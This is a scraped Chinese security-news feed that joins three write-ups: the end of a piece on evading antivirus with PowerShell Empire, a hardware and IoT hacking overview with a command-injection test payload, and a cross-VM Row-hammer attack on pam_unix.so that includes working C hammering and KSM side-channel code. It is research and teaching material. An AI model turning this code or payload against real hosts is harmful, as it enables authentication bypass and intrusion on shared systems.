首先实验一开始,我们使用了恶意的powershell的命令进行攻击。杀软并没有进行报错,毫无反应,证明杀软暂时对Powershell的执行并没有多少设防,但此时我们的攻击端也未进入agent会话,因为不懂杀软是怎样基于行为进行查杀的,所以我们暂时不能说明它不可以拦截恶意行为。 而后,攻击端interact连接进会话,攻击机和目标靶机形成数据交互,而且是我们通过http通道建立的。我们再看看目标靶机,依旧毫无反应,这其实很奇怪了,现在的杀软既然已经开始对于电脑中的可以行为进行检测,特别是这种很有疑点的外部通讯,应该是重点查杀的对象,但这里杀软并没有给出任何反应。难道是因为我们的侦听模块是使用的http通道?大胆猜测下,应该是的。 接下来的操作目标靶机的杀软都没有反应。到了提权的那一步我就开始使用杀软进行主动扫描,按照杀软的描述,其对磁盘和内存进程都会扫描。但是结果提醒我是安全的。

一片绿色,完全没有问题。就和我们前面的钓鱼一样,木马后门如入无人之境。 为了体现这种powershell马的特点和优势,我有生成了几个msf下典型的木马,其中包括未经过编码处理的木马,经过encode十多次的木马和加壳木马,无一例外被杀软查杀,只是后两种有概率在种入木马时运行前不会报毒,但是在运行时,无一例外均被杀。甚至加壳的马会直接被我物理机上的杀软查出。


5. 最后

empire虽然已经比较强大了,但是使用工具的意义并不是它能给我们带来的效益和那种快感,其真正意义在于研究其背后所利用的漏洞原理。这里利用powershell进行攻击,并建立有效的攻击机与目标机的连接,最吸引人的是原始开发者的思路,这才是empire带给我最大的收获。顺着这个思路似乎已经有其他发现了。



【技术分享】Powershell Empire 绕过AV实现远控
【技术分享】Powershell Empire 绕过AV实现远控
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4628.html

【技术分享】硬件黑客技术——扩展你渗透的攻击面

$
0
0
【技术分享】硬件黑客技术——扩展你渗透的攻击面

2017-11-01 15:31:46

阅读:1415次
点赞(0)
收藏
来源: unprovable.github.io





【技术分享】硬件黑客技术——扩展你渗透的攻击面

作者:shan66





【技术分享】硬件黑客技术——扩展你渗透的攻击面

译者:shan66

预估稿费:260RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

为了充分利用待评估的硬件,您应该熟悉多种安全测试领域——基础设施、网络、移动应用程序——因为这些现代设备都为我们提供了丰富的攻击面。硬件黑客技术可以极大扩展我们的渗透能力,不仅能够带来一些新的攻击方式,同时,还能增加我们的攻击深度。


动机

持久性的问题

目前,漏洞的“半衰期”(用户为其服务/软件中已识别的漏洞安装安全补丁所需的时间的一半)已经非常短暂了;对于托管的Web服务来说,可能只有几分钟,即使是维护可执行文件和各种服务所需的时间,也只有几个小时;就算是对于具有严格的回滚测试要求的客户来说,这个时间也只有几周而已。但是,对于硬件的安全漏洞来说,这个半衰期可能是几年时间,并且,如果开发人员不能正确使用相应的固件更新程序的话,那么这个半衰期就是直到该设备报废为止了。设备一旦安装,它就呆在那里长期运行,即使购买设备的人参加了相关的培训课程,常常也是三分钟热度,很少会记下如何更新它——当他真的需要动手更新的时候,就傻眼了。这就是硬件安全的真实写照。

仅得到shell还远远不够

在网络上面,确实有大量的“硬件黑客技术”指南,但是它们大多停留在“...现在你连接...”的阶段,让读者自己进行相关的攻击、测试和实验。它们根本不会指出真正的风险在哪里,以及如何处置。

是的,我明白(大多数)硬件黑客技术指南的价值仅限于通过UART获得设备上的r00t shell,但坦白来说,这不是一个可行的攻击向量!当您通过UART访问受害者的设备的时候,难道不会引起受害者的警觉吗?或者,为了安装和审计开发用的头文件,还得随身携带该设备吗?

之前,我曾经写过一篇如何获取廉价UART的文章(大概只需要10英镑),不过,即使拥有了UART,这也只是万里长征的第一步而已!话说回来,如果能够对设备硬件进行这种低层的访问的话,许多原先无法进行的许多事情,现在也能够顺利完成了。

我稍后会提供UART的详细信息,但现在我只想解释一下,在安全人员的眼里,“硬件黑客技术”到底是什么意思,以及为什么该技术是有用的。


什么是硬件黑客技术

首先,我们来聊聊“硬件黑客技术”到底啥意思。这是一个非常宽泛的话题——它涵盖了电路改装、回收再利用技术、破坏游戏机上的DRM、访问内置于产品PCB中的IC的调试功能,设计并获得了一个arduino/RasPi/(通用微控制器)来完成手头项目中的某项任务、访问/写入受保护的ROM区域、逆向没有公开的数据表的IC,等等。

由于硬件黑客技术是一个很广的话题,所以我不想陷入定义的泥潭——这些都可以称之为“黑客技术”。

对于我来说,作为一名渗透测试人员和安全研究人员,硬件黑客就是从攻击者的角度分析IoT/硬件,以期找到恶意利用系统的途径。所以,我对“如果我可以使用芯片访问调试/终端界面的话,我会做些什么?”的回答是,使用这种深层次的权限来测试系统的弱点和安全漏洞。这就是我的兴趣之所在,并且一开始就明确表示过了。

因此,以下是我面对设备会想到的各种问题:

除了(产品说明书中)的功能之外,我还能做什么?

1.我真的拿微控制器来控制灯光吗?

2.我有固件控制的收音机可以回收利用吗?

3.如果硬件具有许多高级功能,并且这些功能已经超出你的任务所需,那么是否可以将其用于其他方面吗?

4.我可以把它变成一个恶意敲诈设备吗?例如用来完成窃听、录像、泄露敏感的用户数据或个人身份信息(PII)等。

我可以从硬件中获得其所有者的相关数据吗?例如PII、用户名、密码、2FA密钥、密码私钥等。

我可以把设备变为僵尸网络/BTC矿机吗?这是利用黑掉的设备赚钱的最简单的方法——让它们将挖到的BTC发到自己的钱包,或将其添加到僵尸网络,然后出售DDoS服务。

还能想到通过这个设备和其他设备来受益的其他恶意活动吗?


一些攻击场景和常见的漏洞

假设你是一名渗透测试人员,在测试的过程中需要黑掉一部设备——那么,现在该怎么办?事实上,从安全角度来看,与硬件黑客有关的攻击对象和攻击手法有很多,特别是:

过时的软件

对于物联网来说,供应链是一个重大的问题。英国最近的一次大规模的黑客攻击表明,设备的通用底层软件中存在许多严重的安全漏洞。但这些缺陷到底是怎么来的?在某种程度上,这是一个供应链问题。

这里的软件通常(不正确地)指的是ZyXEL(Allegrosoft为嵌入式系统制造的软件),包括非常受欢迎的RomPager服务器软件。很明显,在这次黑客攻击之后,人们才发现这个软件存在安全问题。不过据消息人士透露,Allegro早在2005年就修复了这个漏洞,根据checkpoint披露的“misfortune cookie”漏洞来看,它们在本质上是相似的。

那么,究竟是什么地方出了问题?嗯,像任何其他公司一样,Allegro公司也是要赚钱的,所以他们直接向IC厂商出售其软件。反过来,这些制造商开发出一款芯片后,会随芯片销售/赠送一套相应的SDK,这样公司就能迅速将产品推向市场。所以,问题就出在制造商从未进行升级,所以产品设计师也从未升级过,但是年复一年,这些这些设备一直在生产、销售和应用中——所以这个漏洞从2005年开始就存在了,直到2017年攻击事件发生才引起人们的注意,所以问题主要出在供应链的延迟线效应上面。

有时候,您会见到一些从未听说过的网络服务器(因为早在2003年它们就已经停产了,如D-Link的Boa webserver),而且有些DNS服务器比您内衣品牌的历史都要悠久,许多内核版本都是属于博物馆级别的,更不要说它们正在运行的busybox的版本了。

Wi-Fi之痛

在已经发现的攻击中,许多都是针对商业Wi-Fi环境的。但从这点来看,你从少年时起的Wi-Fi经验倒是没有浪费。

远程命令执行(RCE)

许多情况下,您可以通过互联网发送命令,并在本地设备上以r00t身份来运行各种命令。这显然是非常糟糕的——这种漏洞是许多攻击的源头。许多设备也通过BASH脚本运行所有的东西(甚至网页),因为可以省去php服务的开销。不过,这样做也会带来安全方面的风险:通过注入RCE字符串,攻击者就可能从管理设备的Web应用程序的某处找到某些有用的东西。

远程执行代码

同样,攻击者可以连接外部设备公开的一些的服务,并向其发送精心构造的payload,以便利用其BOF、格式化字符串漏洞等发动攻击。此外,对于这些服务来说,只需通过类似shodan这样的搜索引擎就可以轻松将其找出。

跨站请求伪造(CSRF)

CSRF漏洞可以在用户的浏览器中连接用于管理设备的基于Web的apps/API(这些apps/API几乎无处不在),然后执行RCE或直接修改设置——这是在基于固件的设备上的一种常见漏洞。为了缓解这种攻击,需要进行CSRF-Token检查,不过完成该项检查需要大量代码,这对于固件芯片来说代价太大了(别忘了,大多数固件芯片的最大存储空间为16Mb)。所以,这个漏洞将来还会非常常见。

跨站脚本攻击(XSS)

XSS也是一种糟糕的漏洞,如果能够利用存储式或反射式XSS攻陷设备的话,用户的浏览器以及设备就会随之沦陷。关于XSS的危害,这里就不多做介绍了,因为网上随处可见!并且这种漏洞本身,也是非常常见的!

文件上传

各种设备上不仅有噩梦般的CSRF漏洞,并且几乎所有的文件解析也很糟糕;如果新的上市设备提供了文件上传功能的话,那么它很可能含有与本地文件包含、目录遍历有关的漏洞,或含有可以直接黑掉它的漏洞(曾经见到过这样的设备,它允许攻击者以root身份将文件直接解压缩到/目录,包括恶意的/ bin / evil-ELF文件)。

基于XML/SOAP的攻击

越来越多的设备正在使用基于移动设备的Android/iOS应用进行设备管理。这些设备虽然听起来很酷,不过,由于开放了基于SOAP/XML/JSON的API来与应用程序通信(很少实现任何身份验证),因此诸如UPnP攻击、枚举、TR069之类的攻击也会随之而来了。

认证/会话管理问题

默认登陆凭证无处不在! 并且,在许多使用了某些嵌入式平台的设备上面,类似admin:admin这样可笑的用户名和密码也很常见。更可笑的是,大多数用户甚至可以将密码更改为这些设备名(许多人已经不再使用这些设备——请参阅“云”),因此这也值得注意。同时,验证信息(用户名/电子邮件)枚举攻击也很猖獗,此外还有身份验证绕过漏洞——我记得在一个设备上进行测试时,只需要有一个有效的cookie(您可以通过猜测或暴力方式获取)就可以绕过用户名/密码认证。

信息泄露

如果用户的大部分数据都经由某设备(如客户终端设备),万一该设备存在漏洞的话,那么这些数据也会处于风险之中。并且,这些设备还可以为进一步的恶意活动做好准备(转储CC数据,通过网络摄像头查看家里是否有人等)。不要忘了,客户终端一旦沦陷,在上面设置恶意的DNS服务器是非常非常简单的事情——但是,大多数用户(甚至技术精湛的IT人员)是不会注意到这个方面的,从来都不会。

此外,如果设备提供其管辖范围下的服务(SIP/VOIP,FemtoCell或IPTV接入)的访问权限的话,则这些设备上的内部机制一旦公开,就会外泄用于加密的私钥、通用共享密钥或凭证(通常是未加密/未经哈希处理的)、认证和加密访问证书、DRM信息和访问方法,等等。

“云端”

除了所有上面介绍的问题(它可能比其他地方处理得更好)外,云服务还面临另一个问题。在这种一夜未眠直到凌晨四点写完,并赶在西弗吉尼亚州最后一个公民投票给民主党时完成更新(与美国有关的笑话......我多么国际化)的混乱情况下,引进现代化的时髦服务也是一件非常糟糕的事情。

我可以说的是,即使用户从地球的另一边(通过互联网)修改了他们的路由器上的防火墙设置,但无法阻止厂商努力“解决”人们未知的问题,从而引入更多的问题。


硬件方面的问题

还有一些与硬件设备本身有关的具体问题:

更多的供应链困扰

例如,U-Boot就不支持安全引导。早在2005年的时候,ARM处理器就开始支持安全引导模式了,但是直到现有,最常见的引导加载程序也不支持安全引导。这意味着您的引导程序可能无法检查固件是否是恶意的。因此,如果与CSRF漏洞相结合的话,你可以上传一个恶意的固件文件(这一点我会专门写一篇文章加以介绍)。

我们知道,ARM是在许可证模式下销售的,因此许多最便宜的芯片使用的都是旧芯片的设计许可证。所以这个问题跟之前的完全相同——Jazelle模式是一种历史悠久的ARM exec模式,它支持本机Java字节码执行(是的,你没看错)。后来,它被ARMv7中称为“ThumbEE”的新模式所“替换”,但是在全球范围内,您仍然可以看到数十万颗支持Jazelle的芯片。

开发用的头文件

这个问题从一开始就是显而易见的,之所以悬而未决,是因为制作确保“消费者安全”的电路板的成本是非常高昂的。原型设计本身可能就需要几周的时间,而如果再加上创建PCB布局的“安全”版本的耗时,那整体时间就要翻倍了,因此,大多数项目经理都会以成本为由搁置这样的想法。

此外,如果从开发板到生产板只是“省略”了一个连接电阻的话,也算不上欺骗任何人...

Bootlog神谕

Bootlog简直是太棒了,其内容之丰富,从便利贴式的注释,到作为默认Wi-Fi密码的MAC地址,应有尽有。它不仅会告诉我们处理器的版本、芯片ID(它们通常被散热器覆盖)、内核版本、精确的软件版本,同时还会告诉我们在/at/on中运行的代码的所有模式。我将来会对bootlog做一些详细的解释,以说明其工作机制。


看一个简单的实例

我们来看一个简单的例子——许多CPE(消费者设备,对于家用设备来说,包括路由器、机顶盒、无线中继器等)都使用一些基于linux的操作系统。假设我们已经在该类设备上连接了一个UART shell。

假设我们知道用于管理设备的Web应用程序的参数列表(借助于Burp Suite的话,这并非难事),并且有一个python脚本,可以用来遍历它们并注入一个自定义的payload(这很难吗?你可以用google搜啊)——那么,接下来呢?

现在,我们可以使用这个payload:

";echo-n"PWNED!">/dev/ttyS0

它是做什么的?实际上,它会将短语“PWNED!”打印到串行端口(虽然该端口并非总是/dev/ttyS0,但对于Allegrosoft RomPager-esque固件来说通常如此)。也许还应该添加一个计数器,以便让它打印“PWNED! 1”,“PWNED! 2”等等,并打印到屏幕上,从而指出将其输出到哪里了。

去吃午饭吧。

吃完午饭后,你(也许)会从串口发现一些美味的漏洞——有BASH脚本远程命令执行(RCE)漏洞的任何东西都会向串口打印输出PWNED! X。你刚才发现了一个严重的漏洞。


那么下一步呢?

我想知道的是,如果该RCE具有CSRF能力的话,您多久才能将这个“相邻网络RCE”变成“互联网RCE”。果真如此的话,那么可以将其嵌入到一个javascript payload中,并利用一个非常简单的javascript代码来启动它。


那么,接下来怎么办?

从我的角度来看,不停的追问,正是从事硬件黑客的乐趣所在。更多精彩内容,敬请期待。



【技术分享】硬件黑客技术——扩展你渗透的攻击面
【技术分享】硬件黑客技术——扩展你渗透的攻击面
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://unprovable.github.io/jekyll/update/2017/03/12/Security-Assessment-Hardware-Hacking-Part-III.html

【技术分享】看我如何跨虚拟机实现Row Hammer攻击和权限提升

$
0
0
【技术分享】看我如何跨虚拟机实现Row Hammer攻击和权限提升

2017-11-01 17:27:14

阅读:891次
点赞(0)
收藏
来源: stormshield.com





【技术分享】看我如何跨虚拟机实现Row Hammer攻击和权限提升

作者:blueSky





【技术分享】看我如何跨虚拟机实现Row Hammer攻击和权限提升

译者:blueSky

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

row-hammer是一种能在物理层面上造成RAM位翻转的硬件漏洞。MarkSeaborn 和Thomas Dullien 两人首次发现可以利用Row-hammer漏洞来获取内核权限。Kaveh Razavi等人通过利用操作系统的“内存重复删除”特性能够有效控制比特位翻转,他们将Row-hammer漏洞利用推向了一个新的台阶。如果他们知道私密文件的内容,那么他们可以利用比特翻转来加载私密文件(比如authorized_keys),并通过削弱authorized_keys文件中的RSA模块,他们能够生成相应的私钥并在共同托管的受害者VM上进行身份验证。

在这篇文章中,我们的目的是展示不同的攻击情形。在本文我们破坏了正在运行的程序状态,而不是破坏内存加载的文件。libpam是一个很容易遭受攻击的目标,因为它再类unix系统上提供身份验证机制。通过在攻击者的VM中运行row-hammer攻击实例,我们能够通过破坏pam_unix.so模块状态在邻近的受害者VM上成功进行身份验证。在下文中,我们假设两台相邻的虚拟机运行linux(攻击者VM +受害者VM),而且都托管在KVM虚拟机管理程序上,具体如下图所示:


【技术分享】看我如何跨虚拟机实现Row Hammer攻击和权限提升

Row-hammer

DRAM芯片由周期性刷新的单元行组成,当CPU对存储器的一个字节请求读/写操作时,数据首先被传送到行缓冲器。在读/写请求执行之后,行缓冲器的内容会被复制回原始行,频繁的读写操作(放电和再充电)可能导致相邻行单元上出现较高的放电率从而引发错误。如果在丢失其电荷之前不刷新它们,则会在相邻的存储器行中引起位翻转。

以下代码足以产生位翻转,该代码从两个不同的存储器行交替读取数据。这种操作是必需的,否则我们只能从行缓冲区读取数据,并且将无法重新激活一行数据,而且还需要使用cflush指令以避免从CPU的缓存中读取数据。Mark Seaborn和Thomas Dullien注意到,如果我们“侵略”其相邻行的数据(行k-1和行k + 1),那么row-hammer效应在受害者行k上将会被放大,具体如下图所示:


【技术分享】看我如何跨虚拟机实现Row Hammer攻击和权限提升

CHANNELS, RANKS, BANKS AND ADDRESS MAPPING

在包含2个channel的电脑配置中,最多可以插入两个内存模块。一个存储器模块由该模块两侧的存储器芯片组成,而且一个存储器芯片组成一个存储体,一个存储体代表一个存储单元矩阵。下面以我的电脑为例来说明,我的电脑配备了8 GB RAM,具体参数如下所示:

2个channel。

每个channel包含1个内存模块。

每个内存模块包含2个rank。

每个rank包含8个内存芯片。

每个芯片包含8个bank。

每个bank代表2^15行x 2^10列x8 bits。

因此,可用的RAM大小计算如下:

2 modules * 2 ranks * 2^3 chips * 2^3 banks * 2^15 rows * 2^10 columns * 1 byte = 8 GB

当CPU访问一个字节内存时,内存控制器负责执行该读请求。Mark Seaborn已经确定了英特尔Sandy Bridge CPU的物理地址映射机制。该映射与下面给出的内存配置相匹配:

位0-5:字节的低6位用于索引行。

位6:用于选择channel。

位7-13:字节的高7位用于索引列。

位14-16:((addr>>14)&7)^((addr>>18)&7)用于选择bank。

位17:用于选择rank。

位18-33:用于选择行。

正如这篇文章所述,即使CPU请求单个字节,内存控制器也不会寻址芯片并返回8个字节,CPU会使用地址的3 LSB位来选择正确的位。在这篇文章的其余部分,我们将使用上文提供的物理映射机制。


行选择

Row-hammer需要选择属于同一个bank的行数据,如果我们无法将虚拟地址转换为物理地址,那么就无法浏览行数据。假如我们已经知道了底层的物理地址映射,那么怎么可以获取一对映射到同一个bank而不同行的地址呢?实际上,从VM的角度来看,物理地址只是QEMU虚拟地址空间中的偏移量,因此为了达到从VM进行“攻击”的目的,我们只要获取Transparent Huge Pages (THP)就可以了。

THP是一个Linux功能,后台运行的内核线程会尝试分配2 MB的巨大页面。如果我们申请分配一个2 MB大小的缓冲区,那么客户端的内核线程将返回给我们一个THP。主机中的QEMU虚拟内存也是如此,在一段时间后也将被THP替代。正是因为有了THP,我们才可以获得2 MB的连续物理内存,并且一个THP包含了很多行数据,因此我们可以浏览行数据了。

根据先前提出的物理地址映射,由于行数据以MSB位(位18-33)寻址,那么一个THP包含了8*(2*2^20/2^18)行数据。但是,给定行中的地址是属于不同的channels, banks 以及ranks的。


从VM进行Row-hammer攻击

在攻击者VM中,我们尝试分配一个THP缓冲区,对于大小为2 MB的每个内存块,我们通过读取页面映射文件来检查它是否包含在大页面中。然后,对于THP页面中的每两行(r,r+2),我们通过改变channel位和rank位来”敲击”每对地址。但是请注意,物理地址映射中的排列方案使得选择属于同一个bank的地址对具有以下要求:

令( r_i,b_i )表示行i的地址中标识行和存储体的3个LSB位。对于固定channel和rank,我们从行i开始依次“敲击”行j(j=i+2)中满足以下条件

> r_i^b_i=r_j^b_j

的地址开始。

对于给定的bank b_i,在8个给定的bank b_j中只有三个满足上述条件,具体如下图所示:


【技术分享】看我如何跨虚拟机实现Row Hammer攻击和权限提升

以下是我们优化后的row-hammer代码:

staticint hammer_pages(structctx*ctx,uint8_t*aggressor_row_prev,uint8_t*victim_row, uint8_t*aggressor_row_next,structresult*res) { uintptr_taggressor_row_1=(uintptr_t)(aggressor_row_prev); uintptr_taggressor_row_2=(uintptr_t)(aggressor_row_next); uintptr_taggressor_ch1,aggressor_ch2,aggressor_rk1,aggressor_rk2; uintptr_taggressors[4],aggressor; uint8_t*victim; uintptr_trank,channel,bank1,bank2; inti,p,offset,ret=-1; /*Loopovereverychannel*/ for(channel=0;channel<ctx->channels;channel++){ aggressor_ch1=aggressor_row_1|(channel<<ctx->channel_bit); aggressor_ch2=aggressor_row_2|(channel<<ctx->channel_bit); /*Loopovereveryrank*/ for(rank=0;rank<ctx->ranks;rank++){ aggressor_rk1=aggressor_ch1|(rank<<ctx->rank_bit); aggressor_rk2=aggressor_ch2|(rank<<ctx->rank_bit); /*Loopovereverybank*/ for(bank1=0;bank1<ctx->banks;bank1++){ aggressors[0]=aggressor_rk1|(bank1<<ctx->bank_bit); i=1; /*Lookingforthe3possiblematchingbanks*/ for(bank2=0;bank2<ctx->banks;bank2++){ aggressor=aggressor_rk2|(bank2<<ctx->bank_bit); if((((aggressors[0]^aggressor)>>(ctx->bank_bit+1))&3)!=0) aggressors[i++]=aggressor; if(i==4)break; } /*Ensurevictimisallsettobdir*/ for(p=0;p<NB_PAGES(ctx);p++){ victim=victim_row+(ctx->page_size*p); memset(victim+RANDOM_SIZE,ctx->bdir,ctx->page_size-RANDOM_SIZE); } hammer_byte(aggressors); for(p=0;p<NB_PAGES(ctx);p++){ victim=victim_row+(ctx->page_size*p); for(offset=RANDOM_SIZE;offset<ctx->page_size;offset++){ if(victim[offset]!=ctx->bdir){ if(ctx->bdir) victim[offset]=~victim[offset]; ctx->flipmap[offset]|=victim[offset]; ncurses_flip(ctx,offset); if((ret=check_offset(ctx,offset,victim[offset]))!=-1){ ncurses_fini(ctx); printf("[+]Foundtargetoffset\n"); res->victim=victim; for(i=0;i<4;i++) res->aggressors[i]=aggressors[i]; returnret; } } } } } } } returnret; }

关于Row-hammer最后一件有趣的事情是:如果我们针对受害者机器中的行数据进行了位翻转,那么通过重新“敲击”相邻行再现位翻转的可能性就很大。


【技术分享】看我如何跨虚拟机实现Row Hammer攻击和权限提升

Memory de-duplication

现在我们知道如何“敲击”,下面我将介绍如何依靠操作系统内存重复数据删除实现在内存中执行位翻转操作。内存重复数据删除在虚拟机环境中尤其有用,因为它显着减少了内存占用。在Linux上,内存重复数据删除由KSM来实现。KSM会定期扫描内存并合并匿名页面(具有MADV_MERGEABLE标记的页面)。


【技术分享】看我如何跨虚拟机实现Row Hammer攻击和权限提升

假设我们知道相邻VM中文件的内容,以下是通过利用Row-hammer漏洞和内存重复数据删除功能来修改文件中随机位的主要步骤:

1.从攻击者虚拟机“敲击”内存。

2.加载内存页面中容易受到位翻转攻击的目标文件。

3.加载受害者虚拟机中的目标文件。

4.等待KSM合并这两个页面。

5.再次“敲击”。

6.受害者虚拟机中的文件应该已被修改。

如Razavi等人在其论文所述,THP和KSM可能对Row-hammer造成意想不到的影响。因为THP会合并正常的4 KB页面以形成庞大的页面(2 MB),而KSM会合并具有相同内容的页面。这可能导致KSM打破巨大页面的情况。为了避免这种情况,我们用8个随机字节填充每个4 KB页面的顶部。


处理Libpam程序

给定一个程序P,我们怎么能在程序代码中找到可以改变P输出结果的所有可翻转的bit位呢?对程序P执行逆向分析看似是个不错的想法,可逆向工程太耗费时间了。在本文中,我们使用radare2开发了一个PoC(flip -flop.py),该PoC能够自动捕获程序P的可翻转bit位。该PoC的原理是:我们翻转一些目标函数的每一位,并运行所需的功能,然后检查翻转的位是否影响目标函数的预期结果。我们在pam_unix.so模块(23e650547c395da69a953f0b896fe0a8)的两个函数上运行了PoC,如下图所示:


【技术分享】看我如何跨虚拟机实现Row Hammer攻击和权限提升
pam_sm_authenticate [0x3440]:执行验证用户的任务。 _unix_blankpasswd [0x6130]:检查用户是否没有空白密码。

我们总共发现可17个可以翻转的bit位,利用这些bit位我们可以使用空白或错误的密码执行身份验证操作。


【技术分享】看我如何跨虚拟机实现Row Hammer攻击和权限提升

值得注意的是,脚本无法从某些崩溃中恢复。原因是由于r2pipe没有提供任何处理错误的机制,那么当有一些致命的崩溃发生,r2pipe是无法恢复会话的。


开始攻击

我们的目标是在相邻VM中的pam_unix.so模块上运行一个Row-hammer攻击实例。我们首先回顾了绕过受害者VM身份验证机制的主要步骤:

1.分配可用的物理内存。

2.在内存页面添加一些填充数据,以防止KSM破坏THP页面。我们在每4 KB页面的顶部填充8个随机字节,其余的填充'\xff'以检查方向1-> 0的位翻转(或使用'\0'来检查0->1的位翻转方向)。

3.我们在每个TPH页面中”敲击”每对被“入侵”的行,并检查我们是否在受害者行中进行了位翻转。

4.如果位触发器与表1的偏移量匹配,则将pam_unix.so模块加载到受害者页面中。

5.通过尝试登录来加载受影响虚拟机中的pam_unix.so模块。

6.等待KSM合并页面。

7.再次“敲击”已经产生相关翻转的bit位,此时受害者VM机器中,内存中的pam_unix.so已被更改。

8.操作完毕。

完整的exploit(pwnpam.c)可以在这里找到 。

请注意,漏洞利用不是100%可靠,如果我们找不到可用的位翻转,那么实验将不会成功。


更进一步

漏洞利用并不完全自动,因为在某些时候,我们需要与漏洞利用进行交互,以确保模块已经加载到受害者VM内存中并且其内容已经与攻击者虚拟机中加载的内容合并在一起,这时执行bit位翻转才会成功。

为了能够自动化的进行漏洞利用,可以通过利用KSM中的侧信道定时攻击来改善攻击,该功能使我们能够检测两个页面是否共享。以下代码是文中描述算法的实现,程序首先分配N个缓冲区(每个4096 KB),并用随机数据填充它,代码如下所示:

#include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<time.h> #include<inttypes.h> #include<sys/mman.h> #include<sys/syscall.h> #include<sys/types.h> #definePAGE_NB256 /*fromhttps://github.com/felixwilhelm/mario_baslr*/ uint64_trdtsc(){ uint32_thigh,low; asmvolatile(".att_syntax\n\t" "RDTSCP\n\t" :"=a"(low),"=d"(high)::); return((uint64_t)high<<32)|low; } intmain() { void*buffer,*half; intpage_size=sysconf(_SC_PAGESIZE); size_tsize=page_size*PAGE_NB; buffer=mmap(NULL,size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0); madvise(buffer,size,MADV_MERGEABLE); srand(time(NULL)); size_ti; for(i=0;i<PAGE_NB;i++) *(uint32_t*)(buffer+(page_size*i))=rand(); half=buffer+(page_size*(PAGE_NB/2)); for(i=0;i<(PAGE_NB/2);i+=2) memcpy(buffer+(page_size*i),half+(page_size*i),page_size); sleep(10); uint64_tstart,end; for(i=0;i<(PAGE_NB/2);i++){ start=rdtsc(); *(uint8_t*)(buffer+(page_size*i))='\xff'; end=rdtsc(); printf("[+]pagemodificationtook%"PRIu64"cycles\n",end-start); } return0; }

该程序修改缓冲区前半部分中每个元素的单个字节,并测量写入操作时间。


【技术分享】看我如何跨虚拟机实现Row Hammer攻击和权限提升

根据程序输出,我们可以根据执行写入操作所需的CPU周期数,清楚地区分复制页面和非共享页面。


【技术分享】看我如何跨虚拟机实现Row Hammer攻击和权限提升

请注意,我们还可以依靠侧信道来检测受害者VM上运行的libpam版本。

在我们的漏洞中,我们假设攻击者VM是在受害者VM之前启动的。此条件可以确保KSM总是通过攻击者控制的物理页面返回合并的页面。正如Kaveh Razavi文章所述,这种情况可以轻松实现,但该解决方案需要更深入地了解KSM的内部原理:KSM通过维护两个红黑树:稳定的树和不稳定的树来管理内存重复数据删除,前者跟踪共享页面,而后者存储合并候选页面。KSM会定期扫描页面,并尝试从稳定树中首先合并它们。如果失败,它会尝试在不稳定的树中找到一个匹配项。如果它再次失败,它将候选页面存储在不稳定的树中,并继续下一页。

在我们的例子中,从不稳定树执行合并,KSM会选择首先注册合并的页面。 换句话说,首先启动的VM会赢得合并。为了放宽这个条件,我们可以尝试从稳定树合并页面。 我们所要做的就是在攻击者VM内存中加载两次pam_unix.so模块,并等到KSM合并这些副本。之后,当pam_unix.so模块加载到受害者虚拟机时,其内容将与已存在于稳定树中并由攻击者控制的副本合并。


结论

尽管Row-hammer攻击是强大和有效的,但它却不再是神话。在这篇博客文章中,我们试图提供必要的工具来实现Row-hammer攻击,而且我们提供了一个漏洞,并允许人们在共同托管的虚拟机上获得访问权限或提升其权限。

最后注意一下,禁用KSM就可以阻止我们的利用了

echo0>/sys/kernel/mm/ksm/run


【技术分享】看我如何跨虚拟机实现Row Hammer攻击和权限提升
【技术分享】看我如何跨虚拟机实现Row Hammer攻击和权限提升
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://thisissecurity.stormshield.com/2017/10/19/attacking-co-hosted-vm-hacker-hammer-two-memory-modules/
Viewing all 12749 articles
Browse latest View live